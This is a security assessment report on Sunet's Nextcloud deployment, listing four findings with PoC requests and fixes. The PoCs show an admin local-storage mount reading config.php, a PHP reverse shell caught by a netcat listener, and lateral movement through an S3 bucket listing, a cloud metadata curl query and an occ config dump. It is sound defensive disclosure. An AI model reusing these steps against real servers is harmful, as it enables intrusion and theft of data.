Security Assessment Report Sunet Drive 2024-04

Jonas Lejon, Anton Linné, Jesper Larsson

2024-04-29
Report version 1.2

Index

Introduction

Sunet has enlisted Triop to assess the security of certain parts of its NextCloud implementation. This audit focuses on Nextcloud. We are also investigating different ways of accessing data from other instances (universities).

During a re-testing conducted, we found that all vulnerabilities have been resolved.

It is also worth mentioning that the threat model for Nextcloud states the following:

"We consider Nextcloud administrators ultimately trusted. It is for example expected behavior that a Nextcloud administrator can execute arbitrary code."

"We do consider local mounted storage systems as trusted, so if a symlink or something else is configured on the external storage the Nextcloud server will follow it with the web server privileges. For this reason we do recommend administrators to only use the external storage mount for ultimately trusted content."

Scope

- **Work Packages**
  - WP1 - NextCloud
- **Deadline:**
  - 22.05.2024

Severity Glossary

The following section details the varying severity levels assigned to the issues discovered in this report.

Critical: The highest possible severity level. Categorizes issues that allow attackers to achieve extensive access to sensitive areas, such as critical systems, applications, data or other pertinent components in scope.

High: Categorizes issues that allow attackers to achieve limited access to sensitive areas in scope. This also includes issues with limited exploitability that can facilitate a significant impact upon the target in scope.

Medium: Categorizes issues that do not incur major impact on the areas in scope. Additionally, issues requiring a more limited exploitation are graded as *Medium*.

Low: Categorizes issues that have a highly limited impact on the areas in scope. Mostly does not depend on the level of exploitation but rather on the minor severity of obtainable information or lower grade of damage targeting the areas in scope.

Info: Categorizes issues considered merely informational in nature. They are mostly considered as hardening recommendations or improvements that can generally enhance the security posture of the areas in scope.

Test Methodology

This section describes the testing methods used by Triop for this project and details the coverage achieved. It offers an analysis of the different components examined within the scope. Moreover, it provides additional details about the areas that underwent a thorough evaluation to address the absence of significant security vulnerabilities despite the comprehensive reviews conducted by the audit team.

White-box audit against Sunet Drive

As part of the penetration testing assignment, the focus was on evaluating the security effectiveness of the Nextcloud installation provided by Sunet. The testing aimed to identify possible methods

The testing approach included:

- Attempting access with users from the same tenant as well as cross-tenant users to check for inconsistencies or oversights in multi-tenancy environments that could allow unauthorised file access.
- Accessing functions or features which should be disabled as admin or regular user
- Other security-related and hardening problems or/and improvements

Additionally, we reviewed common user actions such as login, registration, and password reset processes. This phase of testing looked for typical vulnerabilities within these functions, including injection attacks, improper session handling, and flaws in input validation.

WP1 - Identified Vulnerabilities

The following sections list both vulnerabilities and implementation issues spotted during the testing period. Note that findings are listed in chronological order rather than by their degree of severity and impact. The aforementioned severity rank is simply given in brackets following the title heading for each vulnerability. Each vulnerability is additionally given a unique identifier (e.g. *SUN-01-001*) for the purpose of facilitating any future follow-up correspondence.

SUN-01-002 - Reverse shell upload and execution capability (*High*)

Due to the ability to add a local directory as a shared folder, as detailed in the previous finding SUN-01-001, it was also discovered that administrators could upload files directly to the server's root directory. Given that the server is configured to execute PHP, this capability was exploited to upload a PHP reverse shell script. Once executed, this script allows an attacker to establish a reverse connection from the server, providing unauthorized remote command execution capabilities.

PoC:

- Uploading the PHP reverse shell to the web root directory.

```
PUT /remote.php/webdav/var-www-html/yolo.php HTTP/1.1
Host: swamid.drive.sunet.se
Cookie: __Host-nc_sameSiteCookielax=true;
__Host-nc_sameSiteCookiestrict=true; nc_username=_anton;
oc_sessionPassphrase=<REDACTED>; nc_session_id=<REDACTED>;
SERVERID=multinode2.drive.sunet.se
Content-Length: 853
[...]
```

- Requesting the PHP reverse shell script that will be placed in the webroot.

```
GET /yolo.php HTTP/1.1
Host: swamid.drive.sunet.se
```

- The reverse listener spawns a shell on the target machine.

```
root@pwn:/data/www/public# nc -nlvp 4443
Listening on 0.0.0.0 4443
Connection received on 89.46.21.228 56558
Linux a2e1ca48a36d 5.4.0-171-generic #189-Ubuntu SMP Fri Jan 5 14:23:02
UTC 2024 x86_64 GNU/Linux
```

```
$ whoami
www-data
```

It is recommended that all Nextcloud file ownership be set to the root user and that the webserver be restricted from executing PHP code in publicly accessible folders, such as those below the web root. Additionally, the webserver should operate under 'nobody' or another user with minimal privileges. This configuration enhances security by limiting potential attack vectors that exploit higher-privilege user accounts. Implementing these measures will help safeguard sensitive data and reduce the overall risk of security breaches.

SUN-01-003 - Local configuration might enable lateral movement (*Info*)

While investigating the reach of the established web shell described in SUN-01-002, it was revealed that a local attacker, after gaining access to the container, could extend their influence by moving laterally to database instances and even or AWS S3 buckets. The total number of enumerated “urn:oid” was 2564. This capability significantly raises the threat level, allowing the attacker to potentially compromise additional environments beyond the one directly impacted by the initial container breach. Further scrutiny is necessary to understand the full scope of accessible data and systems and to implement measures to prevent such extensive unauthorised access.

PoC AWS S3 Private-endpoint:
This command is executed on the system of the auditor:

-
  ```
  aws --profile sunet s3 --endpoint-url https://s3.sto4.safedc.net ls
  s3://primary-swamid-drive.sunet.se
  ..cut..
  2024-04-05 09:50:24      89536 urn:oid:101036
  2024-04-05 09:50:24      16592 urn:oid:101327
  2024-04-05 10:32:10      20986 urn:oid:1177724
  2024-04-05 10:32:10       3332 urn:oid:1177991
  2024-03-04 15:28:04        261 urn:oid:1190
  2024-03-04 15:28:31        327 urn:oid:1298
  2024-04-05 09:51:27      90725 urn:oid:131903
  2024-04-05 09:51:27     275156 urn:oid:131933
  2024-04-05 09:51:27     208376 urn:oid:131939
  2024-04-05 09:51:27     257002 urn:oid:131942
  of total 2564
  ```

PoC OpenStack Metadata:

- The attacker uploads a compiled curl binary using the file upload within Nextcloud drive and can query the instance metadata within OpenStack.

```
$ curl http://169.254.169.254/latest/meta-data/
  % Total    % Received % Xferd  Average Speed   Time    Time     Time
Current
                                 Dload  Upload   Total   Spent    Left
```

```
Speed
  0      0     0      0     0      0       0      0 --:--:-- --:--:-- --:--:--
0
ami-id
ami-launch-index
ami-manifest-path
block-device-mapping/
hostname
instance-action
instance-id
instance-type
local-hostname
local-ipv4
placement/
public-hostname
public-ipv4
public-keys/
Reservation-id
```

PoC using the local OCC binary:

- The attacker can use the ownCloud Console binary within the /var/www/html/ .occ to view the configuration setup for this instance. Furthermore, the configuration data is available without the masked parameters.

```
$./occ config:list

{
    "system": {
        "app_install_overwrite": [
            "globalsiteselector"
[...]
        "appstoreenabled": false,
        "config_is_read_only": true,
        "csrf.disabled": true,
        "datadirectory": "***REMOVED SENSITIVE VALUE***",
        "dbhost": "***REMOVED SENSITIVE VALUE***",
        "dbname": "***REMOVED SENSITIVE VALUE***",
        "dbpassword": "***REMOVED SENSITIVE VALUE***",
        "dbport": "3306",
        "dbtableprefix": "oc_",
        "dbtype": "mysql",
        "dbuser": "***REMOVED SENSITIVE VALUE***",
        "default_phone_region": "SE",
        "drive_email_template_text_left": "",
        "drive_email_template_plain_text_left": "",
        "drive_email_template_url_left": "",
        "forcessl": true,
        "gs.enabled": "true",
        "gs.federation": "global",
        "gs.trustedHosts": [
            "*.sunet.se"
             [...]
```

Securing the container's bootstrap procedure is crucial to ensure the integrity of the infrastructure. Limiting access to the instance metadata layer provided by OpenStack is also recommended to reduce the likelihood of unauthorised users obtaining detailed knowledge of the infrastructure's layout, thereby boosting security. Additionally, consideration should be given to whether the 'occ' binary needs to reside in the /var/www/html folder. Placing it elsewhere could reduce the risk of users accessing that directory executing the binary, further enhancing security measures.

Miscellaneous Issues

This section covers those noteworthy findings that did not lead to an exploit but might aid an attacker in achieving their malicious goals in the future. Most of these results are vulnerable code snippets that did not provide an easy way to be called. Conclusively, while a vulnerability is present, an exploit might not always be possible.

SUN-01-001 - Admin Access to Local Files via External Shares *(Medium)*

The security assessment identified that an authenticated administrator can directly access local files on the server. This access includes viewing and interacting with sensitive system files, such as configuration files and other critical data residing on the server. This level of access is broad and unsegmented, giving the administrator extensive control over the server's internal file system. Such capabilities present a security concern, as they allow the possibility of manipulating or extracting sensitive information, which could be misused if administrator credentials are compromised.

Requests:

Creating the external file share locally on the target machine.

```
POST /index.php/apps/files_external/globalstorages HTTP/1.1
Host: swamid.drive.sunet.se
Content-Type: application/json
[...]

{
    "mountPoint": "var-www-html",
    "backend": "local",
    "authMechanism": "null::null",
    "backendOptions": {
        "datadir": "/var/www/html/"
    },
    "testOnly": true,
    "mountOptions": {
        "encrypt": true,
        "previews": true,
        "enable_sharing": false,
        "filesystem_check_changes": 1,
        "encoding_compatibility": false,
        "readonly": false
    },
    "applicableUsers": [
        "_anton"
    ],
    "applicableGroups": [],
    "priority": 150
}
```

Requesting the sensitive files, such as the NextCloud config file.

```
GET /remote.php/webdav/var-www-html/config/config.php HTTP/1.1
Host: swamid.drive.sunet.se
Cookie:  oc_sessionPassphrase=<REDACTED>;  SERVERID=multinode2.drive.sunet.se;
nc_username=_anton; nc_token=<REDACTED>; nc_session_id=<REDACTED>
[...]
```

Response:

```
HTTP/1.1 200 OK
date: Fri, 05 Apr 2024 07:56:51 GMT
server: Apache
[...]

<?php
$CONFIG = array (
  [...]
  'dbhost' => 'proxysql_proxysql_1',
  'dbname' => '<REDACTED>',
  'dbpassword' => '<REDACTED>',
  [...]
  'dbuser' => '<REDACTED>',
  [...]
   array (
    0 => 'admin',
    1 => '_berra',
    2 => '_carina',
    [...]
  [...]
  'mail_smtphost' => 'smtp.sunet.se',
  'mail_smtpmode' => 'smtp',
  'mail_smtpname' => 'noreply@drive.sunet.se',
  'mail_smtppassword' => '<REDACTED>',
  'mail_smtpport' => '587',
  [...]
    array (
      'bucket' => 'primary-swamid-drive.sunet.se',
      'key' => '<REDACTED>',
      'secret' => '<REDACTED>',
      'region' => 'us-east-1',
      'hostname' => 's3.sto4.safedc.net',
  [...]
  'passwordsalt' => '<REDACTED>',
  'redis' =>
    array (
      'host' => 'redis-swamid_redis-server_1',
      'password' => '<REDACTED>',
      'port' => 6379,
    ),
  'secret' => '<REDACTED>',
  [...]
);
```

Review the possibility of restricting Nextcloud administrators' ability to view and edit sensitive files on the server. Additionally, explore options for deploying file integrity monitoring tools to detect unauthorized changes to critical files. Such tools include auditd, AppArmor, and Sysdig Falco.

SUN-01-004 - Insecure Handling of Credentials in Response Redirect URL *(Low)*

During the penetration testing, it was observed that when a POST request is sent to /index.php/login/flow/apptoken, the server responds by redirecting to a new URL that includes the submitted login credentials in cleartext. This method of returning credentials exposes sensitive information in the URL, which can be easily intercepted or logged in web server logs, browser history, and network monitoring tools. Transmitting credentials in this manner presents a significant security risk, as it increases the potential for unauthorized access and data breaches, especially in environments where network traffic may be subject to interception.

Request:

```
POST /index.php/login/flow/apptoken HTTP/1.1
Host: swamid.drive.sunet.se
Cookie: <REDACTED>
Content-Length: 239
Content-Type: application/x-www-form-urlencoded

user=_anton&password=<REDACTED>&stateToken=SPXfQeKOzqgxfz3LLE0Wb72JEBXhSmPpzr2N
AtdZtqicslqmqJ2KDqAafRoAyZ91&requesttoken=4ONcMNLFtHms%2FVdnBo3CSD3DrunhXAMiD4D
uYgmiNKw%3D%3AmpZsfZik0TjezgYGXP%2B2B3qu3qPKBHdFevapJljEUZs%3D
```

Response:

```
HTTP/1.1 303 See Other
date: Wed, 03 Apr 2024 10:41:07 GMT
server: Apache
[...]
location:
nc://login/server:https://swamid.drive.sunet.se&user:_anton&password:<REDACTED>
```

Conclusions

The conclusion of our work is that the overall security of the areas audited on Sunet Drive is good. We recommend a few changes to further improve security. Additionally, it is recommended to research different methods of implementing multiple layers of security against attackers who can execute arbitrary code on an instance.

Triop would like to thank Anders, Richard, Magnus and Micke from the Sunet team for their excellent project coordination, support and assistance, both before and during this assignment.